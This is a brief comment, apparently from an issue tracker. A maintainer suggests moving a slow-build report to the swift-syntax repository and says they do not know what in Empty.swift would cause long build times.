If you're seeing most of the time spent in swift-syntax, we can send this issue over to that repository and have our colleagues look at it. I don't know what's in Empty.swift that would cause long build times.